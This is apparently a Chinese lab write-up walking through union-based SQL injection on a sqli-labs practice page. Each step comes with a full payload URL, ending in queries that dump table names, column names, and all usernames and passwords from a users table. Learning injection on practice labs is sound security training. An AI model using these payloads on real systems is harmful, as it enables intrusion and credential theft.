sql_lab中sql注入之union联合注入

1.判断注入类型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显

则判断出是字符型注入,且注入是'注入

2.判断注入点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值

则判断是sql注入

3.判断字段数量

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果

说明该数据库的字段数量是3

4.用union联合查询,判断回显点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+

5.查询使用的是那个数据库

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+

6.查询表名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+

查询到了security数据库里面的所有表名

7.查询users表里面的字段名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+

8.查username和password

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

相关推荐
2501_903238655 分钟前
深入理解 JUnit 的 @RunWith 注解与自定义 Runner
数据库·junit·sqlserver·个人开发
小光学长16 分钟前
基于flask+vue框架的的医院预约挂号系统i1616(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库
听封23 分钟前
✨ 索引有哪些缺点以及具体有哪些索引类型
数据库·mysql
利瑞华28 分钟前
数据库索引:缺点与类型全解析
数据库·oracle
V+zmm1013431 分钟前
自驾游拼团小程序的设计与实现(ssm论文源码调试讲解)
java·数据库·微信小程序·小程序·毕业设计
ChinaRainbowSea43 分钟前
1. Linux下 MySQL 的详细安装与使用
linux·数据库·sql·mysql·adb
jay丿2 小时前
Redis 中列表(List)常见命令详解
数据库·redis·list
小林熬夜学编程2 小时前
【MySQL】第八弹---全面解析数据库表的增删改查操作:从创建到检索、排序与分页
linux·开发语言·数据库·mysql·算法
RainbowSea3 小时前
4. MySQL 逻辑架构说明
数据库·sql·mysql
AI趋势预见4 小时前
FinRL-DeepSeek: 大语言模型赋能的风险敏感型强化学习交易代理
数据库·人工智能·语言模型·自然语言处理·金融